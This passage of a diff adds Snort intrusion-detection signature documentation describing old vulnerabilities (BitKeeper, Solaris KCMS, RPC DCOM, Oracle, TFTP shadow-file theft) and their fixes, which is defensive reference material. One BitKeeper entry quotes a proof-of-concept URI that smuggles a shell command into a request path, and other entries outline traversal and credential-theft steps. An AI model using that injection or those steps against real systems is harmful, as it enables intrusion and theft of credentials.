+Rule:
+
+--
+Sid:
+2068
+
+--
+Summary:
+input handling error in BitKeeper.
+
+--
+Impact:
+Arbitrary code execution
+
+--
+Detailed Information:
+BitKeeper is a cross platform commercial application for managing 
+software development.
+
+When used in daemon mode, BitKeeper opens a listening service that can 
+be accessed via an ordinary http request. The input from this request is
+not correctly processed and allows execution of arbitrary code.
+
+A proof of concept exploit is available for this vulnerability.
+
+--
+Affected Systems:
+All versions of BitKeeper up to and including version 3.0 running in 
+daemon mode.
+
+--
+Attack Scenarios:
+The attacker can send a specially crafted URI to the listening service 
+that contains code the attacker wishes to execute.
+
+Proof of concept URI by Maurycy Prodeus:
+http://www.example.com:port/diffs/foo.c@%27;echo%20%3Eiwashere%27?nav=index.html|src/|hist/foo.c
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to version 3.0.1.
+
+Do not run BitKeeper in daemon mode.
+
+Disallow all access to the BitKeeper server via http.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6588
+
+BitKeeper:
+http://www.bitkeeper.com/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2006.txt
+++ snort-2.8.5.2/doc/signatures/2006.txt
@@ -0,0 +1,90 @@
+Rule:
+
+--
+Sid:
+2006
+
+--
+Summary:
+KCMS (Kodak Color Management System) is an RPC (Remote Procedure Call)
+service for Sun Solaris operating systems. It is able to read profiles
+stored on remote machines. It is possible for an attacker to bypass
+directory traversal checks and read any file on the remote system.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine not limited to user accounts
+and business data.
+
+--
+Detailed Information:
+The attacker first needs to create a directory under
+/etc/openwin/devdata/profiles or /usr/openwin/etc/devdata/profiles,
+using the ToolTalk database server is one method of creating a
+directory. Once this has been achieved, the attacker is then able to
+perform the directory traversal.
+
+The directory traversal allows the attacker to read any file on the
+compromised system. Once a sensitive system file such as the system
+password database has been retrieved, the attacker may use other tools
+at his leisure to discover username and password information. This may
+lead to further system compromise.
+
+The KCMS daemon runs with root privileges and is typically started on
+boot via inetd. The ToolTalk database server is also commonly installed
+and started in this manner. The KCMS daemon usually listens on TCP port
+32871 although this can vary.
+
+--
+Affected Systems:
+	Sun Microsystems Solaris 2.5.1 (Sparc/Intel)
+	Sun Microsystems Solaris 2.6 (Sparc/Intel)
+	Sun Microsystems Solaris 7 (Sparc/Intel)
+	Sun Microsystems Solaris 8 (Sparc/Intel)
+	Sun Microsystems Solaris 9 (Sparc/Intel)
+
+--
+Attack Scenarios:
+The ToolTalk database server procedure TT_ISBUILD can be used to create
+a directory named TT_DB anywhere on a remote system. Creation of this
+directory then allows the attacker to use directory traversal to further
+compromise the machine.
+
+--
+Ease of Attack:
+Once the directory has been created, further compromise is simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the KCMS daemon in the file /etc/inetd.conf. Kill any running
+KCMS processes and restart the inet daemon.
+
+Configure your firewall to restrict external access to the TCP and UDP
+port 111 used by the RPC port mapper service and the range used by RPC
+services, typically 32700 to 34000.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/850785
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0027
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1442.txt
+++ snort-2.8.5.2/doc/signatures/1442.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1442
+
+--
+Summary:
+This event is generated when a TFTP GET request is made for the "shadow" file.  This could be an indication that a remote attacker has compromised a system on the network and is transfering sensitive files back to the attacking system.
+
+--
+Impact:
+The "shadow" file normally stores encrypted password hashes and users names for Unix based systems.  If this file is being transfered over the network using TFTP it is normally an indication of a system compromise.
+
+In some situations this rule may only indicate a generic TFTP scan attempt, as the attacker may be scanning a large range of IP addresses for TFTP improperly configured TFTP servers.
+
+--
+Detailed Information:
+This rule searches for the filename "shadow" in TFTP GET requests.  The "shadow" file is used by Unix based systems to store encrypted password hases and users names for the system.
+
+--
+Attack Scenarios:
+After a successful system compromise an attacker may setup a tftp service to transfer files back to the attacking system.  Under this scenario these source address will point to the attack network and the destination address will be an address defined in the HOME_NET.
+
+Attackers may also scan large subnets for TFTP servers and make numerous generic GET request for common system files. 
+
+--
+Ease of Attack:
+Simple: Numerous tools and automated scripts exist for scanning large subnets for improperly configured TFTP servers.
+
+--
+False Positives:
+This rule was created to catch TFTP GET requests for "shadow", if this file name is being used during a legitimate TFTP session this rule will generate a false positive.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Depending on the situation blocking the attacker at the upstream router or firewall will eliminate the problem.  However, if the TFTP server is incorrectly configured and is actually serving the "shadow" file, it should be configured to only serve specific files from a safe directory.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+--
+Additional References
+None
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1240.txt
+++ snort-2.8.5.2/doc/signatures/1240.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid: 1240
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Marty Bochane MDBMS relational database system.
+
+--
+Impact:
+Serious. Execution of arbitrary code on the target server is possible.
+
+--
+Detailed Information:
+MDBMS is a relational databse system for UNIX style platforms. Certain
+versions of the software contain a vulnerability that can allow
+execution of arbitrary code on the server with the privileges of the
+user running MDBMS.
+
+--
+Affected Systems:
+	MDBMS 0.99b9 and prior
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/322.txt
+++ snort-2.8.5.2/doc/signatures/322.txt
@@ -0,0 +1,70 @@
+Rule:   
+
+--
+Sid: 322
+
+-- 
+Summary: 
+This event is genrated when an attempt is made to query the finger daemon to ascertain a list of usernames on a system.
+
+-- 
+
+Impact: 
+Information gatthering, the attacker may obtain the list of some accounts existing on the victim system as a prelude to further compromize.
+
+--
+Detailed Information:
+
+The rule is triggerred when an attempt to use a search feature in
+"cfingerd" version of a finger daemon is attempted. The search feature
+allows the attacker to obtain the lists of accounts existing on the
+target system by issuing a specially crafted finger request to
+"search" for information. Knowing the list of accounts might
+facilitate a password guessing attacks, email attacks or other abuse.
+
+--
+
+Attack Scenarios: an attacker learns that "guest" account exists and
+has never been used. He then guesses that the password for this
+account and logs in to the system remotely using telnet.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Look for other IDS events involving the same IP addresses. 
+
+Look for suspicious logins to the affected system.
+
+Disable the finger daemon or apply a vendor patch that removes the vulnerability
+
+--
+Contributors: 
+Original rule writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS375
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0259
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3012.txt
+++ snort-2.8.5.2/doc/signatures/3012.txt
@@ -0,0 +1,79 @@
+Rule: 
+
+--
+Sid: 
+3012
+-- 
+Summary: 
+This event is generated when an attacker attempts to remotely upload and
+execute a file with the RUX the Tick trojan.
+
+-- 
+Impact: 
+If successful, the attacker would gain unauthorized access to an
+affected system, enabling him to upload and execute file on the machine.
+The attacker can use this function to upload additional backdoors to the
+victim's sytem and execute them. 
+
+--
+Detailed Information:
+When executed, RUX the Tick opens up its assigned port (default is
+22222) for communication with the attacker. RUX the Tick has three
+functions: Get Windows Directory, Get System Directory, and Upload And
+Execute File.
+
+Get Windows Directory and Get System Directory are used for
+reconnaissance. Upload And Execute File is mainly used to upload and run
+other backdoors onto the victim's computer.
+
+--
+Affected Systems:
+	Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoors in disguise. Once the victim
+mistakenly installs the server program, the attacker usually will employ
+an IP scanner program to find the IP addresses of victims that have
+installed the program. Then the attacker enters the IP address, port
+number (which  is assigned to the server program by the attacker:
+default is 22222), and presses the connect button and he has access to
+the computer.
+
+-- 
+Ease of Attack: 
+Simple.
+
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Using Windows Task Manager, kill these processes: ruxserver.exe and server.exe
+Use Windows Explorer to find ruxserver.exe and delete the file.
+
+This program may hide itself in the process list and can use different
+names and can exist in many locations on an infected machine.
+
+Keep anti-virus programs updated with the latest definitions.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com>
+
+-- 
+Additional References:
+
+PestPatrol:
+http://www.pestpatrol.com/PestInfo/R/RUX.ASP
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2394.txt
+++ snort-2.8.5.2/doc/signatures/2394.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2394
+
+--
+Summary:
+This event is generated when a malformed request is sent to the Compaq Web-Based Management Agent.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Compaq Web-Based Management Agent is used to perform remote system administration for Windows hosts.  A vulnerability exists in the software when traffic is sent t
+o access to Compaq Web-Based Management Agent that contains a malformed request, possibly causing the service to crash.  URL requests that contain the characters "
+<!>" or "<!" followed by arguments followed by ">" cause the denial of service to occur.  Note that the rule uses an initial keyword of "content" instead of "urico
+ntent" since uricontent only examines web server ports identified in the pre-processor http_inspect in the configuration setup.  Default configurations do not incl
+ude port 2301 as a web server port, preventing the event from being generated.
+
+--
+Affected Systems:
+Host running Compaq Web-Based Management Agent.
+
+--
+Attack Scenarios:
+An attacker can send a malformed request to the listening service, causing the system to crash.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block inbound port 2301 traffic or restrict access to known authorized IP addresses.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+Additional References:
+
+bugtraq
+http://www.securityfocus.com/bid/8014
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000123.txt
+++ snort-2.8.5.2/doc/signatures/100000123.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+100000123
+
+--
+Summary:
+This event is generated when inappropriate content is detected in network 
+traffic.
+
+--
+Impact:
+Possible policy violation.
+
+--
+Detailed Information:
+This event is generated when inappropriate content is detected in network 
+traffic. Specifically, the content "pre-teen" was observed.
+
+--
+Affected Systems:
+ All systems.
+
+--
+Attack Scenarios:
+This event indicates that inappropriate content may have been accessed from a 
+host on the protected network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+This may be a policy violation, refer to the appropriate internal policy.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000691.txt
+++ snort-2.8.5.2/doc/signatures/100000691.txt
@@ -0,0 +1,80 @@
+
+
+Rule:
+
+--
+Sid:
+100000691
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Diesel Joke Site" application running on a webserver. 
+Access to the file "category.php" with SQL commands being passed as the "id" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "id" parameter in the "category.php" script used by the 
+"Diesel Joke Site" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running the Diesel Joke Site system.
+
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Currently, no patches or workarounds exist.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Jacob <chris.jacob@sourcefire.com>
+
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+http://www.dieselscripts.com/diesel-joke-site.html
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2039.txt
+++ snort-2.8.5.2/doc/signatures/2039.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+2039
+
+--
+Summary:
+The Dynamic Host Configuration Protocol (DHCP) daemon is used to issue 
+dynamic IP addresses from a server to client machines. A vulnerability 
+exists such that arbitrary code may be executed on the server using the 
+credential of the super user (root).
+
+--
+Impact:
+Execution of code and possible control of the targeted machine.
+
+--
+Detailed Information:
+A format string vulnerabilty in some versions of dhcpd may lead to the 
+execution of arbitrary code as the root user via a DNS server response. 
+This is due to the unsafe logging of user data. The option NSUPDATE 
+option in the configuration of dhcpd must be enabled, although this is a
+default option in version 3.0 and later.
+
+Two exploits for this vulnerability are known to exist.
+
+--
+Affected Systems:
+ISC DHCPD 3.0
+ Caldera OpenLinux Server 3.1 and 3.1.1
+ Caldera OpenLinux Workstation 3.1 and 3.1.1
+ Conectiva Linux 8.0
+ MandrakeSoft Linux Mandrake 8.1, 8.1 ia64, 8.2, 8.2 ppc and 9.0
+ MandrakeSoft Multi Network Firewall 8.2
+ S.u.S.E. Linux 7.2, 7.3 and 8.0
+ S.u.S.E. Linux Connectivity Server
+ S.u.S.E. Linux Database Server
+ S.u.S.E. Linux Enterprise Server 7 and S/390
+
+ISC DHCPD 3.0.1 rc8 and ISC DHCPD 3.0.1 rc7
+ FreeBSD FreeBSD 4.1.1, 4.2, 4.3, 4.4 and 4.5
+
+ISC DHCPD 3.0.1 rc6
+ S.u.S.E. Linux 8.0 and 8.0 i386
+
+ISC DHCPD 3.0.1 rc5, ISC DHCPD 3.0.1 rc4
+OpenPKG OpenPKG 1.0
+
+ISC DHCPD 3.0.1 rc3, rc2 and rc1
+
+--
+Attack Scenarios:
+The attacker could send a specially crafted packet to the dhcpd server or use one of the exploits widely available for this vulnerability.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches from the vendor should be applied as soon as possible.
+
+Upgrade to ISC DHCPD 3.0.1 rc 9.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4701
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0702
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2903.txt
+++ snort-2.8.5.2/doc/signatures/2903.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2903
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2754.txt
+++ snort-2.8.5.2/doc/signatures/2754.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2754
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2273.txt
+++ snort-2.8.5.2/doc/signatures/2273.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2273
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to an
+IMAP server using brute force methods.
+
+--
+Impact:
+Attempted remote access.  
+This event may indicate that an attacker is attempting to guess username 
+and password combinations. Alternately, it may indicate that an authorized 
+user has entered an incorrect username and password combination a number 
+of times.
+
+--
+Detailed Information:
+An IMAP server will issue an error message after a failed login attempt.  
+This may be an indication of an attacker attempting brute force guessing 
+of username and password combinations.  It is also possible that an authorized 
+user has incorrectly entered a legitimate username and password combination.  
+
+This event will be generated after a number of failed attempts, in this
+case thirty attempted logins in thirty seconds.
+
+--
+Affected Systems:
+IMAP servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed IMAP login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Investigate the host for signs of compromise.
+
+Check mail logs for repeated failed attempts to login using 
+one or more usernames.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000571.txt
+++ snort-2.8.5.2/doc/signatures/100000571.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000571
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "app_mod_rewrite.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"app_mod_rewrite.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2114.txt
+++ snort-2.8.5.2/doc/signatures/2114.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2114
+
+--
+Summary:
+This event is generated when a remote attacker attempts to send a large number of null characters to port 512 on an internal server. This may indicate an attempt to exploit a buffer overflow condition in Pragma Systems TelnetServer 2000.
+
+--
+Impact:
+Denial of service by anonymous, remote users.
+
+--
+Detailed Information:
+Pragma Systems TelnetServer 2000 contains a vulnerability where a large number of null characters sent to the Telnet server's rexec port can crash the server. 
+
+--
+Affected Systems:
+Pragma Systems TelnetServer 2000
+
+--
+Attack Scenarios:
+A remote attacker can send messages that contain a large number of null characters to the Telnet server, causing the server to crash.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to TelnetServer 2000 build 2 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1605
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0708
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1750.txt
+++ snort-2.8.5.2/doc/signatures/1750.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid: 1750
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a 
+potential weakness on a host running Microsoft Internet Information Server (IIS).
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit 
+potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation 
+on the host, this may be the prelude to an attack against that host
+using that information. Specifically, this event indicates an attempt to
+retrieve the file "users.xml" which may contain username and password
+information for the host.
+
+--
+Affected Systems:
+	Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS 
+implementation. The attacker might then gain administrator access to the site, 
+deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken 
+to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/html/cpconusercredentialsfileusersxml.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/699.txt
+++ snort-2.8.5.2/doc/signatures/699.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+699
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3382.txt
+++ snort-2.8.5.2/doc/signatures/3382.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3382
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3180.txt
+++ snort-2.8.5.2/doc/signatures/3180.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3180
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2521.txt
+++ snort-2.8.5.2/doc/signatures/2521.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2521
+
+--
+Summary:
